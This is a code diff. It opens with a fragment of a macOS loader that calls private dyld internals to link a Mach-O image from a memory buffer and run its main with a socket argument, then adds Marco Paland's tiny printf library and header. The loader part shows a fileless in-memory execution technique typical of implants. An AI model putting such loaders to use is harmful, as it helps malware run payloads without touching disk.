const void* * ma = GetMA_func(ldr, apis);
HasThreadLocalVariables_ptr HasThreadLocalVariables_func = find_symbol(sdyld, "__ZNK5dyld39MachOFile23hasThreadLocalVariablesEv", offset2);
if (HasThreadLocalVariables_func(ma) == true) {
#ifdef DEBUG
print("Has local variables.\n");
#endif
SetUpTLVs_ptr SetUpTLVs_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState9setUpTLVsEPKN5dyld313MachOAnalyzerE", offset2);
SetUpTLVs_func(apis, ma);
}
@@ -819,14 +716,10 @@ int main(int argc, char** argv)
}
IncDlRefCount_ptr IncDlRefCount_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState13incDlRefCountEPKNS_6LoaderE", offset2);
IncDlRefCount_func(apis, topLoader);
#ifdef DEBUG
print("Notifying.\n");
#endif
NotifyLoad_ptr NotifyLoad_func = find_symbol(sdyld, "__ZN5dyld412RuntimeState10notifyLoadERKN5dyld35ArrayIPKNS_6LoaderEEE", offset2);
NotifyLoad_func(apis, &newLoadersArray);
#ifdef DEBUG
print("Initializing\n");
#endif
RunInitializers_ptr RunInitializers_func = find_symbol(sdyld, "__ZNK5dyld46Loader38runInitializersBottomUpPlusUpwardLinksERNS_12RuntimeStateE", offset2);
RunInitializers_func(topLoader, apis);
*rtopLoader = (uint64_t)topLoader;
@@ -840,20 +733,14 @@ int main(int argc, char** argv)
} else {
handle = (void*)((((uintptr_t)*rtopLoader) << 1) | flags);
}
#ifdef DEBUG
printf_sdyld("Handle: %lld\n", handle);
#endif
printf("Handle: %lld\n", handle);
VMDeallocate_ptr VMDeallocate_func = find_symbol(sdyld, "_vm_deallocate", offset2);
VMDeallocate_func(mach_task_self, (void *)structspace, structspacesize);
#ifdef DEBUG
printf_sdyld("VMDeallocated: %lld\n", structspace);
#endif
printf("VMDeallocated: %lld\n", structspace);
NSModule nm = handle;
NSLookupSymbolInModule_ptr NSLookupSymbolInModule_func = find_symbol(dyld, "_NSLookupSymbolInModule", offset);
NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main");
#ifdef DEBUG
printf_sdyld("sym_main: %lld\n", sym_main);
#endif
printf("sym_main: %lld\n", sym_main);
NSAddressOfSymbol_ptr NSAddressOfSymbol_func = find_symbol(dyld, "_NSAddressOfSymbol", offset);
addr_main = NSAddressOfSymbol_func(sym_main);
} else {
@@ -882,20 +769,14 @@ int main(int argc, char** argv)
if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) {
return 1;
}
#ifdef DEBUG
print("created!\n");
#endif
NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR);
if (!nm) {
#ifdef DEBUG
print("no nm!\n");
#endif
return 1;
}
#ifdef DEBUG
print("good nm!\n");
#endif
NSSymbol sym_main = NSLookupSymbolInModule_func(nm, "_main");
if (!sym_main) {
@@ -907,9 +788,7 @@ int main(int argc, char** argv)
return 1;
}
#ifdef DEBUG
print("found main!\n");
#endif
};
int(*main_func)(int, char**) = (int(*)(int, char**))addr_main;
char* socket = (char*)(size_t)argc;
+914
View File
@@ -0,0 +1,914 @@
///////////////////////////////////////////////////////////////////////////////
// \author (c) Marco Paland (info@paland.com)
// 2014-2019, PALANDesign Hannover, Germany
//
// \license The MIT License (MIT)
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// \brief Tiny printf, sprintf and (v)snprintf implementation, optimized for speed on
// embedded systems with a very limited resources. These routines are thread
// safe and reentrant!
// Use this instead of the bloated standard/newlib printf cause these use
// malloc for printf (and may not be thread safe).
//
///////////////////////////////////////////////////////////////////////////////
#include <stdbool.h>
#include <stdint.h>
#include "printf.h"
// define this globally (e.g. gcc -DPRINTF_INCLUDE_CONFIG_H ...) to include the
// printf_config.h header file
// default: undefined
#ifdef PRINTF_INCLUDE_CONFIG_H
#include "printf_config.h"
#endif
// 'ntoa' conversion buffer size, this must be big enough to hold one converted
// numeric number including padded zeros (dynamically created on stack)
// default: 32 byte
#ifndef PRINTF_NTOA_BUFFER_SIZE
#define PRINTF_NTOA_BUFFER_SIZE 32U
#endif
// 'ftoa' conversion buffer size, this must be big enough to hold one converted
// float number including padded zeros (dynamically created on stack)
// default: 32 byte
#ifndef PRINTF_FTOA_BUFFER_SIZE
#define PRINTF_FTOA_BUFFER_SIZE 32U
#endif
// support for the floating point type (%f)
// default: activated
#ifndef PRINTF_DISABLE_SUPPORT_FLOAT
#define PRINTF_SUPPORT_FLOAT
#endif
// support for exponential floating point notation (%e/%g)
// default: activated
#ifndef PRINTF_DISABLE_SUPPORT_EXPONENTIAL
#define PRINTF_SUPPORT_EXPONENTIAL
#endif
// define the default floating point precision
// default: 6 digits
#ifndef PRINTF_DEFAULT_FLOAT_PRECISION
#define PRINTF_DEFAULT_FLOAT_PRECISION 6U
#endif
// define the largest float suitable to print with %f
// default: 1e9
#ifndef PRINTF_MAX_FLOAT
#define PRINTF_MAX_FLOAT 1e9
#endif
// support for the long long types (%llu or %p)
// default: activated
#ifndef PRINTF_DISABLE_SUPPORT_LONG_LONG
#define PRINTF_SUPPORT_LONG_LONG
#endif
// support for the ptrdiff_t type (%t)
// ptrdiff_t is normally defined in <stddef.h> as long or long long type
// default: activated
#ifndef PRINTF_DISABLE_SUPPORT_PTRDIFF_T
#define PRINTF_SUPPORT_PTRDIFF_T
#endif
///////////////////////////////////////////////////////////////////////////////
// internal flag definitions
#define FLAGS_ZEROPAD (1U << 0U)
#define FLAGS_LEFT (1U << 1U)
#define FLAGS_PLUS (1U << 2U)
#define FLAGS_SPACE (1U << 3U)
#define FLAGS_HASH (1U << 4U)
#define FLAGS_UPPERCASE (1U << 5U)
#define FLAGS_CHAR (1U << 6U)
#define FLAGS_SHORT (1U << 7U)
#define FLAGS_LONG (1U << 8U)
#define FLAGS_LONG_LONG (1U << 9U)
#define FLAGS_PRECISION (1U << 10U)
#define FLAGS_ADAPT_EXP (1U << 11U)
// import float.h for DBL_MAX
#if defined(PRINTF_SUPPORT_FLOAT)
#include <float.h>
#endif
// output function type
typedef void (*out_fct_type)(char character, void* buffer, size_t idx, size_t maxlen);
// wrapper (used as buffer) for output function type
typedef struct {
void (*fct)(char character, void* arg);
void* arg;
} out_fct_wrap_type;
// internal buffer output
static inline void _out_buffer(char character, void* buffer, size_t idx, size_t maxlen)
{
if (idx < maxlen) {
((char*)buffer)[idx] = character;
}
}
// internal null output
static inline void _out_null(char character, void* buffer, size_t idx, size_t maxlen)
{
(void)character; (void)buffer; (void)idx; (void)maxlen;
}
// internal _putchar wrapper
static inline void _out_char(char character, void* buffer, size_t idx, size_t maxlen)
{
(void)buffer; (void)idx; (void)maxlen;
if (character) {
_putchar(character);
}
}
// internal output function wrapper
static inline void _out_fct(char character, void* buffer, size_t idx, size_t maxlen)
{
(void)idx; (void)maxlen;
if (character) {
// buffer is the output fct pointer
((out_fct_wrap_type*)buffer)->fct(character, ((out_fct_wrap_type*)buffer)->arg);
}
}
// internal secure strlen
// \return The length of the string (excluding the terminating 0) limited by 'maxsize'
static inline unsigned int _strnlen_s(const char* str, size_t maxsize)
{
const char* s;
for (s = str; *s && maxsize--; ++s);
return (unsigned int)(s - str);
}
// internal test if char is a digit (0-9)
// \return true if char is a digit
static inline bool _is_digit(char ch)
{
return (ch >= '0') && (ch <= '9');
}
// internal ASCII string to unsigned int conversion
static unsigned int _atoi(const char** str)
{
unsigned int i = 0U;
while (_is_digit(**str)) {
i = i * 10U + (unsigned int)(*((*str)++) - '0');
}
return i;
}
// output the specified string in reverse, taking care of any zero-padding
static size_t _out_rev(out_fct_type out, char* buffer, size_t idx, size_t maxlen, const char* buf, size_t len, unsigned int width, unsigned int flags)
{
const size_t start_idx = idx;
// pad spaces up to given width
if (!(flags & FLAGS_LEFT) && !(flags & FLAGS_ZEROPAD)) {
for (size_t i = len; i < width; i++) {
out(' ', buffer, idx++, maxlen);
}
}
// reverse string
while (len) {
out(buf[--len], buffer, idx++, maxlen);
}
// append pad spaces up to given width
if (flags & FLAGS_LEFT) {
while (idx - start_idx < width) {
out(' ', buffer, idx++, maxlen);
}
}
return idx;
}
// internal itoa format
static size_t _ntoa_format(out_fct_type out, char* buffer, size_t idx, size_t maxlen, char* buf, size_t len, bool negative, unsigned int base, unsigned int prec, unsigned int width, unsigned int flags)
{
// pad leading zeros
if (!(flags & FLAGS_LEFT)) {
if (width && (flags & FLAGS_ZEROPAD) && (negative || (flags & (FLAGS_PLUS | FLAGS_SPACE)))) {
width--;
}
while ((len < prec) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
buf[len++] = '0';
}
while ((flags & FLAGS_ZEROPAD) && (len < width) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
buf[len++] = '0';
}
}
// handle hash
if (flags & FLAGS_HASH) {
if (!(flags & FLAGS_PRECISION) && len && ((len == prec) || (len == width))) {
len--;
if (len && (base == 16U)) {
len--;
}
}
if ((base == 16U) && !(flags & FLAGS_UPPERCASE) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
buf[len++] = 'x';
}
else if ((base == 16U) && (flags & FLAGS_UPPERCASE) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
buf[len++] = 'X';
}
else if ((base == 2U) && (len < PRINTF_NTOA_BUFFER_SIZE)) {
buf[len++] = 'b';
}
if (len < PRINTF_NTOA_BUFFER_SIZE) {
buf[len++] = '0';
}
}
if (len < PRINTF_NTOA_BUFFER_SIZE) {
if (negative) {
buf[len++] = '-';
}
else if (flags & FLAGS_PLUS) {
buf[len++] = '+'; // ignore the space if the '+' exists
}
else if (flags & FLAGS_SPACE) {
buf[len++] = ' ';
}
}
return _out_rev(out, buffer, idx, maxlen, buf, len, width, flags);
}
// internal itoa for 'long' type
static size_t _ntoa_long(out_fct_type out, char* buffer, size_t idx, size_t maxlen, unsigned long value, bool negative, unsigned long base, unsigned int prec, unsigned int width, unsigned int flags)
{
char buf[PRINTF_NTOA_BUFFER_SIZE];
size_t len = 0U;
// no hash for 0 values
if (!value) {
flags &= ~FLAGS_HASH;
}
// write if precision != 0 and value is != 0
if (!(flags & FLAGS_PRECISION) || value) {
do {
const char digit = (char)(value % base);
buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10;
value /= base;
} while (value && (len < PRINTF_NTOA_BUFFER_SIZE));
}
return _ntoa_format(out, buffer, idx, maxlen, buf, len, negative, (unsigned int)base, prec, width, flags);
}
// internal itoa for 'long long' type
#if defined(PRINTF_SUPPORT_LONG_LONG)
static size_t _ntoa_long_long(out_fct_type out, char* buffer, size_t idx, size_t maxlen, unsigned long long value, bool negative, unsigned long long base, unsigned int prec, unsigned int width, unsigned int flags)
{
char buf[PRINTF_NTOA_BUFFER_SIZE];
size_t len = 0U;
// no hash for 0 values
if (!value) {
flags &= ~FLAGS_HASH;
}
// write if precision != 0 and value is != 0
if (!(flags & FLAGS_PRECISION) || value) {
do {
const char digit = (char)(value % base);
buf[len++] = digit < 10 ? '0' + digit : (flags & FLAGS_UPPERCASE ? 'A' : 'a') + digit - 10;
value /= base;
} while (value && (len < PRINTF_NTOA_BUFFER_SIZE));
}
return _ntoa_format(out, buffer, idx, maxlen, buf, len, negative, (unsigned int)base, prec, width, flags);
}
#endif // PRINTF_SUPPORT_LONG_LONG
#if defined(PRINTF_SUPPORT_FLOAT)
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
// forward declaration so that _ftoa can switch to exp notation for values > PRINTF_MAX_FLOAT
static size_t _etoa(out_fct_type out, char* buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags);
#endif
// internal ftoa for fixed decimal floating point
static size_t _ftoa(out_fct_type out, char* buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags)
{
char buf[PRINTF_FTOA_BUFFER_SIZE];
size_t len = 0U;
double diff = 0.0;
// powers of 10
static const double pow10[] = { 1, 10, 100, 1000, 10000, 100000, 1000000, 10000000, 100000000, 1000000000 };
// test for special values
if (value != value)
return _out_rev(out, buffer, idx, maxlen, "nan", 3, width, flags);
if (value < -DBL_MAX)
return _out_rev(out, buffer, idx, maxlen, "fni-", 4, width, flags);
if (value > DBL_MAX)
return _out_rev(out, buffer, idx, maxlen, (flags & FLAGS_PLUS) ? "fni+" : "fni", (flags & FLAGS_PLUS) ? 4U : 3U, width, flags);
// test for very large values
// standard printf behavior is to print EVERY whole number digit -- which could be 100s of characters overflowing your buffers == bad
if ((value > PRINTF_MAX_FLOAT) || (value < -PRINTF_MAX_FLOAT)) {
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
return _etoa(out, buffer, idx, maxlen, value, prec, width, flags);
#else
return 0U;
#endif
}
// test for negative
bool negative = false;
if (value < 0) {
negative = true;
value = 0 - value;
}
// set default precision, if not set explicitly
if (!(flags & FLAGS_PRECISION)) {
prec = PRINTF_DEFAULT_FLOAT_PRECISION;
}
// limit precision to 9, cause a prec >= 10 can lead to overflow errors
while ((len < PRINTF_FTOA_BUFFER_SIZE) && (prec > 9U)) {
buf[len++] = '0';
prec--;
}
int whole = (int)value;
double tmp = (value - whole) * pow10[prec];
unsigned long frac = (unsigned long)tmp;
diff = tmp - frac;
if (diff > 0.5) {
++frac;
// handle rollover, e.g. case 0.99 with prec 1 is 1.0
if (frac >= pow10[prec]) {
frac = 0;
++whole;
}
}
else if (diff < 0.5) {
}
else if ((frac == 0U) || (frac & 1U)) {
// if halfway, round up if odd OR if last digit is 0
++frac;
}
if (prec == 0U) {
diff = value - (double)whole;
if ((!(diff < 0.5) || (diff > 0.5)) && (whole & 1)) {
// exactly 0.5 and ODD, then round up
// 1.5 -> 2, but 2.5 -> 2
++whole;
}
}
else {
unsigned int count = prec;
// now do fractional part, as an unsigned number
while (len < PRINTF_FTOA_BUFFER_SIZE) {
--count;
buf[len++] = (char)(48U + (frac % 10U));
if (!(frac /= 10U)) {
break;
}
}
// add extra 0s
while ((len < PRINTF_FTOA_BUFFER_SIZE) && (count-- > 0U)) {
buf[len++] = '0';
}
if (len < PRINTF_FTOA_BUFFER_SIZE) {
// add decimal
buf[len++] = '.';
}
}
// do whole part, number is reversed
while (len < PRINTF_FTOA_BUFFER_SIZE) {
buf[len++] = (char)(48 + (whole % 10));
if (!(whole /= 10)) {
break;
}
}
// pad leading zeros
if (!(flags & FLAGS_LEFT) && (flags & FLAGS_ZEROPAD)) {
if (width && (negative || (flags & (FLAGS_PLUS | FLAGS_SPACE)))) {
width--;
}
while ((len < width) && (len < PRINTF_FTOA_BUFFER_SIZE)) {
buf[len++] = '0';
}
}
if (len < PRINTF_FTOA_BUFFER_SIZE) {
if (negative) {
buf[len++] = '-';
}
else if (flags & FLAGS_PLUS) {
buf[len++] = '+'; // ignore the space if the '+' exists
}
else if (flags & FLAGS_SPACE) {
buf[len++] = ' ';
}
}
return _out_rev(out, buffer, idx, maxlen, buf, len, width, flags);
}
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
// internal ftoa variant for exponential floating-point type, contributed by Martijn Jasperse <m.jasperse@gmail.com>
static size_t _etoa(out_fct_type out, char* buffer, size_t idx, size_t maxlen, double value, unsigned int prec, unsigned int width, unsigned int flags)
{
// check for NaN and special values
if ((value != value) || (value > DBL_MAX) || (value < -DBL_MAX)) {
return _ftoa(out, buffer, idx, maxlen, value, prec, width, flags);
}
// determine the sign
const bool negative = value < 0;
if (negative) {
value = -value;
}
// default precision
if (!(flags & FLAGS_PRECISION)) {
prec = PRINTF_DEFAULT_FLOAT_PRECISION;
}
// determine the decimal exponent
// based on the algorithm by David Gay (https://www.ampl.com/netlib/fp/dtoa.c)
union {
uint64_t U;
double F;
} conv;
conv.F = value;
int exp2 = (int)((conv.U >> 52U) & 0x07FFU) - 1023; // effectively log2
conv.U = (conv.U & ((1ULL << 52U) - 1U)) | (1023ULL << 52U); // drop the exponent so conv.F is now in [1,2)
// now approximate log10 from the log2 integer part and an expansion of ln around 1.5
int expval = (int)(0.1760912590558 + exp2 * 0.301029995663981 + (conv.F - 1.5) * 0.289529654602168);
// now we want to compute 10^expval but we want to be sure it won't overflow
exp2 = (int)(expval * 3.321928094887362 + 0.5);
const double z = expval * 2.302585092994046 - exp2 * 0.6931471805599453;
const double z2 = z * z;
conv.U = (uint64_t)(exp2 + 1023) << 52U;
// compute exp(z) using continued fractions, see https://en.wikipedia.org/wiki/Exponential_function#Continued_fractions_for_ex
conv.F *= 1 + 2 * z / (2 - z + (z2 / (6 + (z2 / (10 + z2 / 14)))));
// correct for rounding errors
if (value < conv.F) {
expval--;
conv.F /= 10;
}
// the exponent format is "%+03d" and largest value is "307", so set aside 4-5 characters
unsigned int minwidth = ((expval < 100) && (expval > -100)) ? 4U : 5U;
// in "%g" mode, "prec" is the number of *significant figures* not decimals
if (flags & FLAGS_ADAPT_EXP) {
// do we want to fall-back to "%f" mode?
if ((value >= 1e-4) && (value < 1e6)) {
if ((int)prec > expval) {
prec = (unsigned)((int)prec - expval - 1);
}
else {
prec = 0;
}
flags |= FLAGS_PRECISION; // make sure _ftoa respects precision
// no characters in exponent
minwidth = 0U;
expval = 0;
}
else {
// we use one sigfig for the whole part
if ((prec > 0) && (flags & FLAGS_PRECISION)) {
--prec;
}
}
}
// will everything fit?
unsigned int fwidth = width;
if (width > minwidth) {
// we didn't fall-back so subtract the characters required for the exponent
fwidth -= minwidth;
} else {
// not enough characters, so go back to default sizing
fwidth = 0U;
}
if ((flags & FLAGS_LEFT) && minwidth) {
// if we're padding on the right, DON'T pad the floating part
fwidth = 0U;
}
// rescale the float value
if (expval) {
value /= conv.F;
}
// output the floating part
const size_t start_idx = idx;
idx = _ftoa(out, buffer, idx, maxlen, negative ? -value : value, prec, fwidth, flags & ~FLAGS_ADAPT_EXP);
// output the exponent part
if (minwidth) {
// output the exponential symbol
out((flags & FLAGS_UPPERCASE) ? 'E' : 'e', buffer, idx++, maxlen);
// output the exponent value
idx = _ntoa_long(out, buffer, idx, maxlen, (expval < 0) ? -expval : expval, expval < 0, 10, 0, minwidth-1, FLAGS_ZEROPAD | FLAGS_PLUS);
// might need to right-pad spaces
if (flags & FLAGS_LEFT) {
while (idx - start_idx < width) out(' ', buffer, idx++, maxlen);
}
}
return idx;
}
#endif // PRINTF_SUPPORT_EXPONENTIAL
#endif // PRINTF_SUPPORT_FLOAT
// internal vsnprintf
static int _vsnprintf(out_fct_type out, char* buffer, const size_t maxlen, const char* format, va_list va)
{
unsigned int flags, width, precision, n;
size_t idx = 0U;
if (!buffer) {
// use null output function
out = _out_null;
}
while (*format)
{
// format specifier? %[flags][width][.precision][length]
if (*format != '%') {
// no
out(*format, buffer, idx++, maxlen);
format++;
continue;
}
else {
// yes, evaluate it
format++;
}
// evaluate flags
flags = 0U;
do {
switch (*format) {
case '0': flags |= FLAGS_ZEROPAD; format++; n = 1U; break;
case '-': flags |= FLAGS_LEFT; format++; n = 1U; break;
case '+': flags |= FLAGS_PLUS; format++; n = 1U; break;
case ' ': flags |= FLAGS_SPACE; format++; n = 1U; break;
case '#': flags |= FLAGS_HASH; format++; n = 1U; break;
default : n = 0U; break;
}
} while (n);
// evaluate width field
width = 0U;
if (_is_digit(*format)) {
width = _atoi(&format);
}
else if (*format == '*') {
const int w = va_arg(va, int);
if (w < 0) {
flags |= FLAGS_LEFT; // reverse padding
width = (unsigned int)-w;
}
else {
width = (unsigned int)w;
}
format++;
}
// evaluate precision field
precision = 0U;
if (*format == '.') {
flags |= FLAGS_PRECISION;
format++;
if (_is_digit(*format)) {
precision = _atoi(&format);
}
else if (*format == '*') {
const int prec = (int)va_arg(va, int);
precision = prec > 0 ? (unsigned int)prec : 0U;
format++;
}
}
// evaluate length field
switch (*format) {
case 'l' :
flags |= FLAGS_LONG;
format++;
if (*format == 'l') {
flags |= FLAGS_LONG_LONG;
format++;
}
break;
case 'h' :
flags |= FLAGS_SHORT;
format++;
if (*format == 'h') {
flags |= FLAGS_CHAR;
format++;
}
break;
#if defined(PRINTF_SUPPORT_PTRDIFF_T)
case 't' :
flags |= (sizeof(ptrdiff_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG);
format++;
break;
#endif
case 'j' :
flags |= (sizeof(intmax_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG);
format++;
break;
case 'z' :
flags |= (sizeof(size_t) == sizeof(long) ? FLAGS_LONG : FLAGS_LONG_LONG);
format++;
break;
default :
break;
}
// evaluate specifier
switch (*format) {
case 'd' :
case 'i' :
case 'u' :
case 'x' :
case 'X' :
case 'o' :
case 'b' : {
// set the base
unsigned int base;
if (*format == 'x' || *format == 'X') {
base = 16U;
}
else if (*format == 'o') {
base = 8U;
}
else if (*format == 'b') {
base = 2U;
}
else {
base = 10U;
flags &= ~FLAGS_HASH; // no hash for dec format
}
// uppercase
if (*format == 'X') {
flags |= FLAGS_UPPERCASE;
}
// no plus or space flag for u, x, X, o, b
if ((*format != 'i') && (*format != 'd')) {
flags &= ~(FLAGS_PLUS | FLAGS_SPACE);
}
// ignore '0' flag when precision is given
if (flags & FLAGS_PRECISION) {
flags &= ~FLAGS_ZEROPAD;
}
// convert the integer
if ((*format == 'i') || (*format == 'd')) {
// signed
if (flags & FLAGS_LONG_LONG) {
#if defined(PRINTF_SUPPORT_LONG_LONG)
const long long value = va_arg(va, long long);
idx = _ntoa_long_long(out, buffer, idx, maxlen, (unsigned long long)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags);
#endif
}
else if (flags & FLAGS_LONG) {
const long value = va_arg(va, long);
idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned long)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags);
}
else {
const int value = (flags & FLAGS_CHAR) ? (char)va_arg(va, int) : (flags & FLAGS_SHORT) ? (short int)va_arg(va, int) : va_arg(va, int);
idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned int)(value > 0 ? value : 0 - value), value < 0, base, precision, width, flags);
}
}
else {
// unsigned
if (flags & FLAGS_LONG_LONG) {
#if defined(PRINTF_SUPPORT_LONG_LONG)
idx = _ntoa_long_long(out, buffer, idx, maxlen, va_arg(va, unsigned long long), false, base, precision, width, flags);
#endif
}
else if (flags & FLAGS_LONG) {
idx = _ntoa_long(out, buffer, idx, maxlen, va_arg(va, unsigned long), false, base, precision, width, flags);
}
else {
const unsigned int value = (flags & FLAGS_CHAR) ? (unsigned char)va_arg(va, unsigned int) : (flags & FLAGS_SHORT) ? (unsigned short int)va_arg(va, unsigned int) : va_arg(va, unsigned int);
idx = _ntoa_long(out, buffer, idx, maxlen, value, false, base, precision, width, flags);
}
}
format++;
break;
}
#if defined(PRINTF_SUPPORT_FLOAT)
case 'f' :
case 'F' :
if (*format == 'F') flags |= FLAGS_UPPERCASE;
idx = _ftoa(out, buffer, idx, maxlen, va_arg(va, double), precision, width, flags);
format++;
break;
#if defined(PRINTF_SUPPORT_EXPONENTIAL)
case 'e':
case 'E':
case 'g':
case 'G':
if ((*format == 'g')||(*format == 'G')) flags |= FLAGS_ADAPT_EXP;
if ((*format == 'E')||(*format == 'G')) flags |= FLAGS_UPPERCASE;
idx = _etoa(out, buffer, idx, maxlen, va_arg(va, double), precision, width, flags);
format++;
break;
#endif // PRINTF_SUPPORT_EXPONENTIAL
#endif // PRINTF_SUPPORT_FLOAT
case 'c' : {
unsigned int l = 1U;
// pre padding
if (!(flags & FLAGS_LEFT)) {
while (l++ < width) {
out(' ', buffer, idx++, maxlen);
}
}
// char output
out((char)va_arg(va, int), buffer, idx++, maxlen);
// post padding
if (flags & FLAGS_LEFT) {
while (l++ < width) {
out(' ', buffer, idx++, maxlen);
}
}
format++;
break;
}
case 's' : {
const char* p = va_arg(va, char*);
unsigned int l = _strnlen_s(p, precision ? precision : (size_t)-1);
// pre padding
if (flags & FLAGS_PRECISION) {
l = (l < precision ? l : precision);
}
if (!(flags & FLAGS_LEFT)) {
while (l++ < width) {
out(' ', buffer, idx++, maxlen);
}
}
// string output
while ((*p != 0) && (!(flags & FLAGS_PRECISION) || precision--)) {
out(*(p++), buffer, idx++, maxlen);
}
// post padding
if (flags & FLAGS_LEFT) {
while (l++ < width) {
out(' ', buffer, idx++, maxlen);
}
}
format++;
break;
}
case 'p' : {
width = sizeof(void*) * 2U;
flags |= FLAGS_ZEROPAD | FLAGS_UPPERCASE;
#if defined(PRINTF_SUPPORT_LONG_LONG)
const bool is_ll = sizeof(uintptr_t) == sizeof(long long);
if (is_ll) {
idx = _ntoa_long_long(out, buffer, idx, maxlen, (uintptr_t)va_arg(va, void*), false, 16U, precision, width, flags);
}
else {
#endif
idx = _ntoa_long(out, buffer, idx, maxlen, (unsigned long)((uintptr_t)va_arg(va, void*)), false, 16U, precision, width, flags);
#if defined(PRINTF_SUPPORT_LONG_LONG)
}
#endif
format++;
break;
}
case '%' :
out('%', buffer, idx++, maxlen);
format++;
break;
default :
out(*format, buffer, idx++, maxlen);
format++;
break;
}
}
// termination
out((char)0, buffer, idx < maxlen ? idx : maxlen - 1U, maxlen);
// return written chars without terminating \0
return (int)idx;
}
///////////////////////////////////////////////////////////////////////////////
int printf_(const char* format, ...)
{
va_list va;
va_start(va, format);
char buffer[1];
const int ret = _vsnprintf(_out_char, buffer, (size_t)-1, format, va);
va_end(va);
return ret;
}
int sprintf_(char* buffer, const char* format, ...)
{
va_list va;
va_start(va, format);
const int ret = _vsnprintf(_out_buffer, buffer, (size_t)-1, format, va);
va_end(va);
return ret;
}
int snprintf_(char* buffer, size_t count, const char* format, ...)
{
va_list va;
va_start(va, format);
const int ret = _vsnprintf(_out_buffer, buffer, count, format, va);
va_end(va);
return ret;
}
int vprintf_(const char* format, va_list va)
{
char buffer[1];
return _vsnprintf(_out_char, buffer, (size_t)-1, format, va);
}
int vsnprintf_(char* buffer, size_t count, const char* format, va_list va)
{
return _vsnprintf(_out_buffer, buffer, count, format, va);
}
int fctprintf(void (*out)(char character, void* arg), void* arg, const char* format, ...)
{
va_list va;
va_start(va, format);
const out_fct_wrap_type out_fct_wrap = { out, arg };
const int ret = _vsnprintf(_out_fct, (char*)(uintptr_t)&out_fct_wrap, (size_t)-1, format, va);
va_end(va);
return ret;
}
+117
View File
@@ -0,0 +1,117 @@
///////////////////////////////////////////////////////////////////////////////
// \author (c) Marco Paland (info@paland.com)
// 2014-2019, PALANDesign Hannover, Germany
//
// \license The MIT License (MIT)
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// \brief Tiny printf, sprintf and snprintf implementation, optimized for speed on
// embedded systems with a very limited resources.
// Use this instead of bloated standard/newlib printf.
// These routines are thread safe and reentrant.
//
///////////////////////////////////////////////////////////////////////////////
#ifndef _PRINTF_H_
#define _PRINTF_H_
#include <stdarg.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
/**
* Output a character to a custom device like UART, used by the printf() function
* This function is declared here only. You have to write your custom implementation somewhere
* \param character Character to output
*/
void _putchar(char character);
/**
* Tiny printf implementation
* You have to implement _putchar if you use printf()
* To avoid conflicts with the regular printf() API it is overridden by macro defines
* and internal underscore-appended functions like printf_() are used
* \param format A string that specifies the format of the output
* \return The number of characters that are written into the array, not counting the terminating null character
*/
#define printf printf_
int printf_(const char* format, ...);
/**
* Tiny sprintf implementation
* Due to security reasons (buffer overflow) YOU SHOULD CONSIDER USING (V)SNPRINTF INSTEAD!
* \param buffer A pointer to the buffer where to store the formatted string. MUST be big enough to store the output!
* \param format A string that specifies the format of the output
* \return The number of characters that are WRITTEN into the buffer, not counting the terminating null character
*/
#define sprintf sprintf_
int sprintf_(char* buffer, const char* format, ...);
/**
* Tiny snprintf/vsnprintf implementation
* \param buffer A pointer to the buffer where to store the formatted string
* \param count The maximum number of characters to store in the buffer, including a terminating null character
